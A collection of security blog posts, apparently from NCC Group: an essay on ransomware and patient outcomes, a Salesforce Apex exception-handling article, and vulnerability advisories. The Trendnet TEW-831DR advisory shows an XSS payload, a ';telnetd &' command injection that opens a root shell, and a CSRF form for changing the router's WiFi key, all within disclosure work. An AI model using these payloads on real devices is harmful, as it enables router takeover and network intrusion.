June 3rd 2022: Fix is commited to U-Boot master branch https://source.denx.de/u-boot/u-boot/-/commit/b85d130ea0cac152c21ec38ac9417b31d41b5552

Thanks to

Jennifer Fernick, and Dave Goldsmith for their support through the disclosure process.

U-Boot’s maintainers.


Nicolas Guigo, and Nicolas Bidron

Understanding the Impact of Ransomware on Patient Outcomes – Do We Know Enough?

16 June 2022 at 08:15

The healthcare sector and ransomware attacks appear together frequently in the media. Since before the start of the pandemic rarely a week goes by without at least one story about a healthcare organisation falling victim to a ransomware attack. We often hear about the financial impact these attacks have or how they can affect patient safety, but there is little to state what the actual impact on patient outcomes are. 

Articles about a ransomware attack that could be found to be the cause of a death, or vulnerabilities in a specific medical device are very important in bringing these issues into the public eye. However, they do not explain or even truly allude to where clinical risk is negatively impacted the most and that is what should ultimately be the priority when discussing cyberattacks in healthcare.

According to statistics obtained from publications produced by the European Union Agency for Cybersecurity (ENISA) and the FBI’s Internet Crime Complaint Center (IC3), ransomware attacks since 2017 have increased in general year on year (apart from 2018, where attacks decreased compared to the previous year). This could be attributed to several reasons such as the growth of ransomware, widespread vulnerabilities affecting a multitude of organisations, and of course the pandemic contributing to a decrease in user vigilance and expanding the security boundaries of organisations. [1] [2] [3] [4] [5] [6] [7] [8] [9] 

IC3 Annual Report Data

Contradicting the trend is the UK, according to the annual Cyber Security Breaches Surveys the percentage of breaches caused by ransomware attacks across all sectors have been steadily decreasing. However, ransomware remains one of the top three threats to UK businesses and charities. [10] [11] [12] [13] [14]

UK Cyber Security Breaches Survey Data

Although these statistics are not just about ransomware in the healthcare sector, the IC3 report from 2021 [11] shows that the healthcare and public health sector reported the most ransomware attacks. The number of healthcare organisations that reported being a victim of a ransomware attack was 148, this was significantly more than the next sector on the list, financial services, this being 89 organisations. A survey conducted by Sophos [15] stated that from 328 respondents 34% of organisations were hit by ransomware in the previous year (2020).

Similarly, the ENISA Threat Landscape 2020 [3] states “Healthcare organisations were the favourite target of ransomware attackers during all of the previous years, and this trend also continued in 2019.”

This would indicate that the healthcare sector remains a viable target as many organisations in this sector are considered soft targets. Furthermore, healthcare organisations are more likely to pay the ransom. [16]

Regardless of the fall or rise in the number of victims of ransomware, the continued attacks on the healthcare sector demonstrate callous behaviour towards patients’ wellbeing, the medical professionals and support staff of the healthcare organisations caring for those patients. 

Current research on the impact of ransomware attacks on patient health 

Ransomware attacks in healthcare environments can lock medical professionals out of workstations, disrupt access to services, prevent access to patient records, disable medical devices and prevent delivery of urgent care. With so many attacks occurring in the healthcare sector, the impact this has on patient outcomes could be disastrous, and even lead to death in extreme cases. 

When discussing the impact that ransomware has on patient outcomes it is important to consider all circumstances and not just the most critical cases, although these should clearly be prioritised. A search using phrases such as “ransomware impact patient” and “ransomware impact health” was used on Google scholar, PubMed, ProQuest, and general searches using Google and Bing to try and find any related research that had already been conducted and could shed some light on how ransomware impacts patient outcomes. 

Although the literary search was not exhaustive it appears this topic has not been thoroughly researched. Only a few contained conclusions as to whether a ransomware attack did in fact have a negative effect on patient outcomes. Furthermore, the results were inconsistent which in likelihood reflects the complex nature of healthcare environments but could also indicate more detailed research and analysis is required. 

Direct impact 

One of the most notorious incidents in recent years is that of the ransomware attack on a university hospital in Düsseldorf, Germany. Whilst enroute with a 78-year-old woman in a deteriorating state, paramedics were redirected to an alternative hospital 32 kilometres away due to systems being unavailable from the attack. The delay in treatment caused by the additional transfer time was initially suspected to have contributed to the patient’s death. However, the investigation later found that the patient’s condition was so severe at the time she was picked up that “The delay was of no relevance to the final outcome,” as reported by Wired [17]. 

Another incident occurred in 2019, in which an infant died at a hospital that was in the midst of a ransomware attack. The lawsuit states “Because numerous electronic systems were compromised by the cyberattack, fetal tracing information was not accessible at the nurses’ station or by any physician or other healthcare provider who was not physically present in Teiranni’s labor and delivery room. As a result, the number of healthcare providers who would normally monitor her labor and delivery was substantially reduced and important safety-critical layers of redundancy were eliminated.” [18]. 

Whilst the tragedy of these cases should not be understated, they only account for a small part of the overall effect that ransomware or any IT/OT outage could have in a healthcare environment. 


A retrospective analysis was conducted after a successful ransomware attack on a health system in Southern California sent a large influx of patients to two emergency departments at the University of California San Diego. The increase in demand for care was above any expected increase from other situations such as flu season however, the analysis did not involve determining the impact on patient outcomes. [19] [20] 

Whilst this is not linked to ransomware it highlights that delay in care can have a negative impact on patient outcomes. Analysis of Medicare data [21] relating to patients suffering from a heart attack concluded that delays in ambulance journeys due to road closures (in this instance because of a marathon taking place) increased the 30-day mortality rate (a death occurring within 30 days of a defined event).

Remediation effects 

A research paper on the effect a data breach has on patient outcomes determined that “Hospital data breaches significantly increased the 30-day mortality rate for AMI” (AMI – Acute Myocardial Infarction, also known as a heart attack). The researchers also stated that “Ransomware attacks are considered to be more disruptive to hospital operations than the breaches considered in this study… If disruption to information technology used by providers is driving the breach effect, the findings from our study suggest that ransomware attacks may have an even stronger negative impact on patients than the breaches studied in this paper.” [22]. The researchers suggest that the changes to health information technology (HIT) as well as new policies and procedures following a data breach contribute to the increase in 30-day mortality and the longevity of the impact. 

The CyberPeace Institute released a report [23] in March 2021 that references research conducted at Vanderbilt University. Similar to the previous paper, this research discovered that remediation efforts following a data breach caused an increase in the 30-day mortality rate of patients suffering from a heart attack up to 3 years after the initial breach. 

Large scale attacks 

An article published in Nature.com [24] analysed data from the WannaCry attack on the NHS. Interestingly, the research found “no significant effect demonstrated on mortality across all hospitals.”. However, the article also details “The NAO stated that there were no reports of patient harm from NHS organisations.1 This is difficult to quantify, and as discussed, mortality is a crude measure of patient harm. While the attack may not have led to a direct impact on mortality, we are unable to ascertain the true impact on complications, patient morbidity, or changes in care processes that resulted from the attack.” 

This is a key point as a negative outcome that does not lead to death can still have a significant impact on a patient’s life. For example, a delay in care that leads to paralysis, or organ failure that then requires the patient to have a transplant. Situations like this affect the patients’ quality of life as well as medical staff time and resources. 

Many respondents from a recent survey conducted by the Ponemon Institute [25] reported that a ransomware attack caused longer stays in hospital and delays that resulted in poor outcomes. 

The most convincing study [26] to date is one conducted by the Cybersecurity and Infrastructure Security Agency (CISA). This study was primarily concerned with the impact of COVID-19 on the Provide Medical Care National Critical Function in the US. The study was also able to gain insights into the impact that ransomware has on hospitals which found that “Although there are no deaths directly attributed to hospital cyberattacks, statistical analysis of an affected hospital’s relative performance indicates reduced capacity and worsened health outcomes”. 

What data is missing about the impact of ransomware attacks on patient health? 

What does all this mean? Currently we do not know enough about the effects that ransomware has on patient outcomes. Delays in care can cause negative outcomes, the average amount of downtime caused by ransomware reached 26 days according to Coveware [27]. It stands to reason then that a ransomware attack would incur negative outcomes as well. 

Furthermore, this is only considering the immediate downtime caused by the event. What about continued delays due to any backlogs that have occurred? Ransomware attacks, or any prolonged cyberattack or IT/OT outage, could result in long-term effects of a wide variety of medical conditions as well as the psychological effect on patients including a lack of trust whereby patients do not disclose information that might be key to diagnosis. Not to mention the effect that the resultant fatigue can have on medical staff [28]. 

The Department of Health and Social Care (DHSC) in the UK recently outlined the new cyber security strategy for health and social care, this included “calling for input from around the sector to improve the understanding of how cyber relates to patient outcomes and identify the important elements.” [29]. 

Attack vectors and targeted systems

Few details exist on root cause of successful attacks and depending on what resource you find the order of common attack vectors differ. A quarterly report from Coveware [27] lists the top 3 ransomware attack vectors across all industries over the past 3 years as RDP, email phishing, software vulnerability. Whilst the most common attack vendor according to respondents from the Ponemon study [25] was through cloud applications. Analysis in 2020 conducted by researchers at Tenable found a key method for gaining access to hospital networks was through a pair of Citrix vulnerabilities [30].  

Electronic Patient/Health/Medical Records (EPR, EHR, EMR) are also prime targets for attackers. Medical records contain a lot of valuable data so this can be used for several fraudulent reasons, especially in countries where healthcare is not paid for by the state. Preventing access to these systems will disrupt the delivery of care. Vital information becomes unavailable to help treat patients and therefore exerts overwhelming pressure on healthcare organisations to pay the ransom. 

The attack on the Health Service Executive (HSE), Ireland’s public health service, prevented access to all the IT systems and took four months to decrypt all the servers [31]. This meant access to patient records and scans were not available for extended periods of time. 

Downtime in laboratory’s also cause significant issues as Laboratory Information Systems (LIS) and clinical labs are very reliant on interconnectivity between systems [32]. Delays in ordering tests and receiving results can have an impact on clinical decision making. 

How to better understand the impact of ransomware events? 

Given the complexity of the healthcare industry it would be beneficial to understand not just the immediate impact of ransomware attacks but also the medium and long-term effects as well. Knowing what could happen in the first few hours, 5 years, and key points in between would help develop preventative actions. It would also help prepare for potential consequences and care requirements in the event of a successful attack. 

Metrics could include: 

  • The effects on individual and/or groups of illnesses 
  • The short/medium/long-term resources required to facilitate the effects on patients 
  • A breakdown of what systems and departments are affected 
  • The percentage of movement in clinical risk – for example, how many low-risk cases escalate to medium-risk due to a delay in care 
  • Number of cases referred to neighbouring facilities 

A more in-depth retrospective analysis of the WannaCry attack on the NHS as well as ongoing analysis of the HSE attack would be extremely useful in shaping how healthcare organisations prepare for, respond to, and recover from ransomware attacks. 

What do we need to know to be able to address this problem? 

Being able to analyse current or previous events more thoroughly is one way to understand the true impact that ransomware attacks have on healthcare organisations. However, data gathered from a previous or current attack may not be accurate or complete as a result of the incresae in stress and load on staff and resources. 

Another option could be to use simulations and AI/ML to predict how ransomware attacks affect patient outcomes. A recent paper [33] detailing the results from adapting an established simulation model, used for evaluating operational strategies [34], to assess the resilience of hospitals to cyberattacks. In conjunction with a simulation of this type it might be possible to apply AI/ML to predict specific medical issues [35] [36] [37] [38] or patient outcomes in general [39]. 

Imagine a healthcare organisation being able to understand with some confidence what the impact would be on any or all their patients, based on what systems were down, for how long those systems were down and if services were available at a neighbouring facility. 

It is important to understand what the real impact is, prolonged cyberattacks have the potential to have a significant effect but are unlike other disaster situations. Power outages can be protected against by using backup generators that will kick in quickly, weather patterns can, to a certain extent, be predicted and planned for. Ransomware can strike at any moment, take out an unpredictable number of systems, affect multiple organisations simultaneously over large geographic distances, and recur at the whim of attackers if remediation efforts are insufficient or non-existent. More importantly, ransomware can be, to an extent, prevented by following security best practices such as hardening systems and devices, properly segregating networks, installing security patches and updates.

From a financial perspective the ability for a healthcare organisation to get back to a functioning state and implement remediation objectives could be hampered by additional strain from lawsuits. A worrying statistic, reported by Healthcare Finance News [40], shows an increase in lawsuits filed against healthcare organisations over data breaches. 

As such disaster recovery plans should include recovery from ransomware attacks as part of the strategy, arguably as a priority. The HSE report [31] and simulation research [33] note, respectively, the absence of preparation for relevant scenarios, “In addition, as is the case with many other organisations, the scenario of sustained loss of IT across the entire health service has not been planned for, with specific considerations and playbooks,” and no consideration for a cyberattack as a hazardous event, “while the impact of a wide variety of hazard event types on hospital capability and capacity were studied, cyberattack was not previously considered in these models.” 

Cyberattacks targeting the healthcare sector, as with any other industry, do not have borders so international collaboration around research & information-sharing is important. If we have more diverse input about impact on different communities, populations, economies, and geographic areas we can build better solutions to the problem. Therefore helping to ease the burden on healthcare professionals, resources and contribute to preventing poor patient outcomes.

Next steps

It would be beneficial to expand on previous research and take a deep dive into hospital data from just prior and up to today from the WannaCry attack. Concentrating on a small but varied number of health issues that have the potential to demonstrate if and how delays in care caused by ransomware affect patient morbidity. Using examples of hospitals that were able to transfer patients to neighbouring facilities as well as hospitals that were not able to is important to understand the immediate and the cascading effects.

This would hopefully lay the foundations for creating configurable ransomware simulations for a more proactive approach to help prevent attacks but also to better understand where clinical resources should be prioritised.


[1] https://www.enisa.europa.eu/publications/enisa-threat-landscape-report-2017 

[2] https://www.enisa.europa.eu/publications/enisa-threat-landscape-report-2018 

[3] https://www.enisa.europa.eu/publications/ransomware 

[4] https://www.enisa.europa.eu/publications/enisa-threat-landscape-2021 

[5] https://www.ic3.gov/Media/PDF/AnnualReport/2017_IC3Report.pdf 

[6] https://www.ic3.gov/Media/PDF/AnnualReport/2018_IC3Report.pdf 

[7] https://www.ic3.gov/Media/PDF/AnnualReport/2019_IC3Report.pdf 

[8] https://www.ic3.gov/Media/PDF/AnnualReport/2020_IC3Report.pdf 

[9] https://www.ic3.gov/Media/PDF/AnnualReport/2021_IC3Report.pdf 

[10] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/609186/Cyber_Security_Breaches_Survey_2017_main_report_PUBLIC.pdf 

[11] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/702074/Cyber_Security_Breaches_Survey_2018_-_Main_Report.pdf 

[12] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/950063/Cyber_Security_Breaches_Survey_2019_-_Main_Report_-_revised_V2.pdf 

[13] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/893399/Cyber_Security_Breaches_Survey_2020_Statistical_Release_180620.pdf 

[14] https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/972399/Cyber_Security_Breaches_Survey_2021_Statistical_Release.pdf 

[15] https://assets.sophos.com/X24WTUEQ/at/s49k3zrbsj8x9hwbm9nkhzxh/sophos-state-of-ransomware-in-healthcare-2021-wp.pdf 

[16] https://news.sophos.com/en-us/2022/06/01/the-state-of-ransomware-in-healthcare-2022/

[17] https://www.wired.co.uk/article/ransomware-hospital-death-germany 

[18] https://www.documentcloud.org/documents/21072978-kidd-amended-complaint 

[19] https://www.medpagetoday.com/meetingcoverage/acep/95357 

[20] https://www.researchgate.net/publication/355630183_162_Regional_Emergency_Department_Census_Impacts_During_a_Cyber_Attack 

[21] https://www.nejm.org/doi/full/10.1056/NEJMsa1614073 

[22] https://arxiv.org/pdf/1904.02058.pdf 

[23] https://cyberpeaceinstitute.org/report/2021-03-CyberPeaceInstitute-SAR001-Healthcare.pdf 

[24] https://www.nature.com/articles/s41746-019-0161-6 

[25] https://www.censinet.com/ponemon-report-covid-impact-ransomware 

[26] https://www.cisa.gov/sites/default/files/publications/CISA_Insight_Provide_Medical_Care_Sep2021.pdf 

[27] https://www.coveware.com/blog/2022/5/3/ransomware-threat-actors-pivot-from-big-game-to-big-shame-hunting 

[28] https://www.theguardian.com/society/2022/jun/04/sleep-deprived-medical-staff-pose-same-danger-on-roads-as-drunk-drivers 

[29] https://www.ukauthority.com/articles/five-pillars-in-cyber-strategy-for-health-and-social-care/ 

[30] https://www.zdnet.com/article/ransomware-attacks-now-to-blame-for-half-of-healthcare-data-breaches/ 

[31] https://www.hse.ie/eng/services/publications/conti-cyber-attack-on-the-hse-full-report.pdf 

[32] https://academic.oup.com/ajcp/article/157/4/482/6533636 

[33] https://www.ncbi.nlm.nih.gov/pmc/articles/PMC8638073/ 

[34] https://www.tandfonline.com/doi/abs/10.1080/24725579.2019.1584132 

[35] https://www.insideprecisionmedicine.com/artificial-intelligence/ai-used-to-calculate-individual-risk-of-repeat-stroke/ 

[36] https://www.scientificamerican.com/article/ai-can-predict-kidney-failure-days-in-advance/ 

[37] https://www.nbcnews.com/mach/science/ai-predicts-heart-attacks-better-doctors-n752011 

[38] https://www.futuremedicine.com/doi/full/10.2217/fon-2021-0302 

[39] https://www.nature.com/articles/s41746-018-0029-1 

[40] https://www.healthcarefinancenews.com/news/patients-increasingly-suing-hospitals-over-data-breaches 

Public Report – Threshold ECDSA Cryptography Review

15 June 2022 at 18:04

In March 2022, DFINITY engaged NCC Group to conduct a security and cryptography review of a threshold ECDSA implementation, which follows a novel approach described in the reference paper entitled “Design and analysis of a distributed ECDSA signing service” and available on the IACR ePrint archive at https://eprint.iacr.org/2022/506. The threshold ECDSA protocol will be deployed into the architecture of the Internet Computer. The ability for canisters to perform threshold signature generation and verification will facilitate the integration of the Internet Computer with other blockchains using ECDSA signatures, including Bitcoin and Ethereum.

The project methodology primarily relied upon manual code review supported by dynamic interaction with the test cases, as well as review of the supporting reference paper. Following this review, in early May 2022, NCC Group performed a retest of the findings uncovered during the initial engagement. That follow-up engagement also included the review of a short pull request incorporating changes to the underlying encryption scheme.

The Public Report for this review may be downloaded below:

Exception Handling and Data Integrity in Salesforce

14 June 2022 at 20:09

Robust exception handling is one of the tenets of best practice for development, no matter what the coding language. This blog post explores the curious circumstances in which a developer trying to do the right thing – but without appreciating the full effects – could lead to data integrity issues in a Salesforce Organization. As we’ll explore, the precise impact will vary according to what’s being done to which data, but the potential for consequences detrimental to security is clear.

The Salesforce platform tries to ensure data integrity by having an automatic rollback mechanism, delimited by the common database concept of a ‘transaction’. However, as is so often the case, the devil is in the detail. On the basis of recent code reviews, it is apparently under-appreciated how the addition of exception handling in Apex (the Salesforce development language) can affect the rollback mechanism, which in turn can affect data integrity. There have been a couple of notable articles on this subject in the past [1] as well as discussions on forum sites, but the treatment has been relatively light. After checking various permutations on a test Organization, this article qualifies and expands on existing material in this space, highlighting the potential consequences for security on top of more functional side effects. In other words, while the condition is not new, its impact as a security vulnerability is explored. It’s important to understand that this is not a vulnerability in the Salesforce platform itself but a bug that could arise during custom development whose impact may extend to security.


The Data Manipulation Language (DML) is essentially the subset of Apex that allows access to the database, including write operations that SOQL (the Salesforce Object Query Language) doesn’t support. There are two ways to use DML: executing DML ‘statements’ or calling Database class methods. By way of example, the following two lines are equivalent:

1.  insert newAccounts;
2.  Database.insert(newAccounts);

Both ways accept a single sObject or, as the above examples imply, a List of sObjects. So what’s the difference? For one thing, using a Database class method (line 2) allows a finer degree of control for bulk operations: an optional allOrNone Boolean parameter governs whether processing should stop if an error is encountered [2]. The default value of this parameter is true, which means that a database error stops the processing of further sObjects in the List before an exception is thrown. This mode mirrors how a DML statement handles an error when working on a List. If allOrNone is explicitly set to false, partial processing is allowed: if an error occurs, the remaining work is still given a chance to complete. In addition, instead of throwing exceptions, a result object (or an array of them if a List is passed) is returned containing the status of each operation and any errors encountered. This allows the caller to inspect the results and handle any failures appropriately [3].

As mentioned in the opening remarks, Salesforce has the concept of a ‘transaction’ – a collection of database operations through a code path that has a definite start and end point. A classic example would be a call to an Aura endpoint by a client-side Lightning Component, where the start point would be the entry into the @AuraEnabled method and the end point would be its exit through the final return. In between, any number of other methods from any number of other classes could be called, and the collection of DML operations along the way would constitute this particular transaction. Salesforce documentation explains that:

…all changes are committed to the database only after all operations in the transaction finish executing and don’t cause any errors. [4]

While true in one sense, it doesn’t capture the full range of outcomes and how conditions can arise that may cause data integrity issues [5].

Risks to Data Integrity

Setting the allOrNone parameter to false in a call to a Database method is not accidental: it can be assumed that the caller wants partial processing. But a less obvious risk to data integrity can emerge when an exception is thrown within a try block after one or more DML operations have occurred, whether in the same try block or anywhere earlier in the transaction stack. The crucial point about automatic rollback is that it occurs after unhandled exceptions. But if the exception is caught [6], it is assumed the catcher knows what they are doing! If the catch block doesn’t explicitly handle any previous DML operations, those database changes will be committed – unless, of course, a new exception is thrown that either remains unhandled or is caught further up the stack where the database state is restored.

Reflecting on this, it’s relatively easy for a developer to write code that unintentionally makes a partial set of database changes under certain error conditions. This is like calling a Database method and setting allOrNone to false accidentally! The impact is obviously context-dependent, but it’s conceivable that the resulting state could have security implications.

Published examples in this area tend to have a DML operation as the cause of the exception, with a prior database operation being the problem to clean up. But an important point to highlight is that the exception need not relate to DML. Consider the following ‘proof-of-concept’ code:

// set up chgAccounts, a List of Accounts to update
try {
   update chgAccounts;   // need not be in this (or any) try block to be affected
   Account acc = [SELECT Name FROM Account WHERE Name = 'Acme'];
   // do something with acc, and maybe some other risky things
catch (Exception e) {}

Imagine one day that the Acme Account doesn’t exist anymore. Following the update, a System.QueryException is thrown because there is nothing to assign to the variable acc. Because the exception is caught (although ignored) the Account updates will be committed to the database. Note, as per the comment, that the update could be anywhere in the previous transaction path. This example also shows how the general bad practice of having empty catch blocks can have a specific consequence unique to Salesforce. However, even a valiant attempt at exception handling can still lead to data integrity problems if this specific aspect hasn’t been fully considered by the developer.

Whether the Account updates in the above case will have security implications, or indeed any kind of impact, will depend on the context. Let’s briefly consider a different scenario to illustrate a security risk. Imagine that custom code creates a new User during registration but, later in the transaction, an exception is raised and caught because a business logic check fails. Without adequate handling, the new user will still be created, and therefore the registrant could log in, contrary to business rules.

Finally, a particular use of the Database class is also worth calling out, whether it’s in a try block or not. Consider this single DML operation:

Database.update(newAccount, false);

Although the allOrNone parameter indicates that partial record processing is allowed, this method of database access will never throw exceptions and, in this example, the return values are effectively discarded. Therefore the caller has no idea of the success/failure status, whether a single sObject has been passed or a List. This may be acceptable in some cases, but it should be verified as such.


Any code path that includes a DML operation should be evaluated in full because a data integrity vulnerability could arise from an exception being caught at any point. Where custom exception handling is implemented, consider if any database changes earlier in the transaction need to be reverted manually. It is important to remember that catching an exception of any kind (not just one related to DML) could lead to a vulnerable condition. Clearly, using DML operations to reverse database changes should be avoided, since these too could raise exceptions, and round we go again. Instead, Salesforce supports a convenient ‘savepoint’ and ‘rollback’ mechanism [7].

If partial record processing is used explicitly, it is imperative that the return values from the particular Database method are captured, inspected and handled appropriately [8], using a format such as:

Database.SaveResult[] results = Database.insert(mySObjects, false);
for (Database.SaveResult result : results) {
   // check result.isSuccess() etc.

While potentially vulnerable conditions can be relatively simple to spot in a single method or class, remember that a transaction spans the life of a particular execution path. Therefore, establishing whether a vulnerability exists, and its resulting impact, can involve traversing back up that path. Even an exception thrown outside a try block could still lead to a data integrity issue if it’s caught further up the stack. For these reasons, an exhaustive search for this kind of vulnerability is likely beyond the remit of most manual code reviews because of time constraints and the complexity of analysis [9].

In Summary

This article aims to raise awareness of a particular kind of Apex vulnerability. In truth, while the necessary conditions may be common, perhaps more common than previously realised, instances of an exploitable vulnerability with a tangible benefit to an attacker will be rarer. Functional side effects, or simply an ‘untidy’ database, are a more likely result, but which are nevertheless unwanted and best avoided. It all depends on the context, though, and exploitable attack opportunities leveraging this condition may well exist out there. Through articles such as this, hopefully developers and code reviewers alike will be better able to find them.

Jerome Smith @exploresecurity

(thanks to Viktor Gazdag @wucpi for proof-reading)


[1] For example, https://medium.com/elevate-salesforce/apex-transaction-control-a-dml-case-study-c4b535825205 and https://www.crmscience.com/single-post/2020/05/20/how-salesforce-developers-handle-errors-with-try-catch-rollback-best-practices.
[2] https://developer.salesforce.com/docs/atlas.en-us.apexref.meta/apexref/apex_methods_system_database.htm
[3] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_database.htm
[4] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_transactions.htm
[5] This is why I have so far avoided the term ‘atomic’ – either everything completes or no changes are made – when talking about a transaction. In contrast, a single DML statement, or a Database method call with allOrNone missing or true, will process a List of sObjects in a truly atomic fashion: one failure will cause all changes made to the preceding records in the List to be reverted before an exception is thrown.
[6] Occasionally, system exceptions cannot be caught. One example is System.LimitException, which is raised when ‘governor limits’ are exceeded. If this exception is thrown, even within a try block, automatic rollback will follow because an unhandled error has been thrown. More information at https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_examples.htm and https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/apex_exception_statements.htm.
[7] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_transaction_control.htm
[8] https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/langCon_apex_dml_database_error.htm
[9] This is potentially something that static analysis tools could do, however. The current capability of Apex analysers has not been investigated during the research for this article.

Technical Advisory – Multiple Vulnerabilities in Trendnet TEW-831DR WiFi Router (CVE-2022-30325, CVE-2022-30326, CVE-2022-30327, CVE-2022-30328, CVE-2022-30329)

10 June 2022 at 18:29

The Trendnet TEW-831DR WiFi Router was found to have multiple vulnerabilities exposing the owners of the router to potential intrusion of their local WiFi network and possible takeover of the device.

Five vulnerabilities were discovered. Below are links to the associated technical advisories:

Technical Advisories:

Stored XSS in Web Interface for Trendnet TEW-831DR WiFi router (CVE-2022-30326)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30326
Severity: Medium 5.0


Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that the network pre-shared key field on the web interface is vulnerable to XSS.


An attacker can use a simple XSS payload to crash the main page of the router web interface.


Stored XSS is a vulnerability related to improper validation of user input and output. In stored XSS the web interface accepts input from the user and stores it for later without proper encoding. A web application that is vulnerable to XSS allows an attacker to send a malicious script to the user.

The example below will crash the basic_conf page and create a popup on the 5G home.htm page:

<input type="text" name="pskValue0" id="pskValue0" size="30" maxlength="64" value="<script>alert(1)</script>">


This issue was fixed on the newest version of the firmware published by Trendnet, v1.0(601.130.1.1410). Owners of the vulnerable devices should update to the latest firmware through the web interface of the router to prevent exploitation of this bug.

Lack of Current Password Verification for Password/Username Change Feature (CVE-2022-30328)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30328
Severity: Medium 4.0


Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that the router web interface has an insecure username and password setup.


A malicious user can change the username and password of the interface.


The username and password setup for the router web interface does not require entering the existing password. An attacker can use CSRF to trick the user to send a request to the web interface to change the username and password of the router.


Trendnet indicated that this CVE will not be fixed at this point. Router owners should logout of the device web interface after use.

OS Command Injection in Trendnet TEW-831DR WiFi router (CVE-2022-30329)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30329
Severity: Medium 6.3


Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that commands could be injected into the diagnostics field within the web interface.


An OS injection vulnerability was found within the web interface of the device allowing an attacker with valid credentials to execute arbitrary shell commands.


The web interface has a diagnostics page that uses ping/traceroute. In the host(domain) an attacker can enter an IP with a ; at the end and inject a command to be executed by the device. Using command injection telnetd can be enabled. Telnetd is a remote terminal protocol server.

For example, the following can be entered into the host(domain) to enable telnetd:;telnetd &

After running the command, any telnet client can be used to login to the root account from the local area network (LAN):

user: root
Password: the admin password 

Running the ls command will list the files in the current directory:

bin   etc   init  mnt   root  tmp   var
dev   home  lib   proc  sys   usr   web


This issue was fixed on the newest version of the firmware published by Trendnet, v1.0(601.130.1.1410). Owners of the vulnerable devices should update to the latest firmware through the web interface of the router to prevent exploitation of this bug.

CSRF Vulnerability for Trendnet TEW-831DR WiFi router (CVE-2022-30327)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30327
Severity: High 7.6


Trendnet TEW-831DR WiFi router is a general consumer WiFi router with a web interface for configuration. It was found that the routers browser interface is vulnerable to CSRF.


The WiFi router interface is vulnerable to CSRF. An attacker can change the pre-shared key to the WiFi router if the interface IP is known.


Cross-Site Request Forgery is an attack that occurs when a user interacts with a malicious web application while logged into a vulnerable web application using the same browser. The malicious web application can send unwanted requests to the vulnerable web application.

If the user is logged into the router web interface an attacker could create a page like the example below and trick a user into clicking it to change the router WiFi pre-shared key or SSID.


  <!-- CSRF Template -->
  <script>history.pushState('', '', '/')</script>
    <form action="" method="POST">

      <input type="hidden" name="pskValue0" value="password" />
      <input type="hidden" name="pskValue1" value="password" />
      <input type="hidden" name="cliPskValue0" value="password" />
      <input type="hidden" name="cliPskValue1" value="password" />
      <input type="hidden" name="apply" value="Save &amp; Apply" />
      <input type="submit" value="Submit request" />


This issue was fixed on the newest version of the firmware published by Trendnet, v1.0(601.130.1.1410). Owners of the vulnerable devices should update to the latest firmware through the web interface of the router to prevent exploitation of this bug.

Weak Default Pre-Shared Key for Trendnet TEW-831DR WiFi Router (CVE-2022-30325)

Vendor: Trendnet
Vendor URL: https://www.trendnet.com/
Versions affected: All Versions
System Affected: TEW-831DR
CVE Identifier: CVE-2022-30325
Severity: Medium 4.0


Trendnet TEW-831DR is a WiFi router with a web interface for configuration. It was found that the default pre-shared key for the WiFi networks is the same for every router but the last four digits.


The device default pre-shared key for both 2.4GHz and 5GHz networks can be guessed or brute-forced by an attacker within range of the WiFi network. The weak pre-shared key allows the attacker to gain access to these networks if the pre-shared key has been left unchanged from the factory default.


The device default pre-shared key has the same seven out of eleven digits for every router. An attacker within scanning range of the WiFi network can brute-force the last four digits to gain access to the network.


The first seven default characters of the pre-shared key:


Trendnet indicated that this CVE will not be fixed at this point. Router owners that are still using the default pre-shared key should update the current wifi key to new one through the web interface.

Disclosure Timeline:

March 15th, 2022: Initial email from NCC to Trendnet.

March 16th, 2022: Trendnet responded to the initial email.

March 18th, 2022: First communication of the bugs to Trendnet. Set the disclosure timeline to 60 days.

May 5th – May 23rd, 2022: Multiple emails exchanged to complete the fixes on the firmware version.

May 23rd, 2022: Trendnet confirmed the fixes were present in the firmware to be released.

June 2nd, 2022 – Trendnet released firmware version:v1.0(601.130.1.1410).

Thanks to

Nicolas Bidron, Jennifer Fernick, and David Goldsmith for their support throughout the research and disclosure process. Additionally, Trendnet for their on going cooperation.

About NCC Group

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

Technical Advisory – FUJITSU CentricStor Control Center

27 May 2022 at 19:20


On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization.

The vulnerability is caused due to a lack of user input validation in two PHP scripts, which are normally included post-authentication. As no include-guards are in-place, an attacker is able to trigger the script without prior authentication by calling it directly.


An attacker is able to take control over the appliance as if they were logged in directly via a secure shell. If exploited, the attacker obtains limited user privileges on the machine as the “www-data” user; however, it should be noted that the Kernel on the system which NCC Group’s Fox-IT encountered is severely outdated, allowing an attacker to easily escalate their privileges to the administrative “root” user of the system.

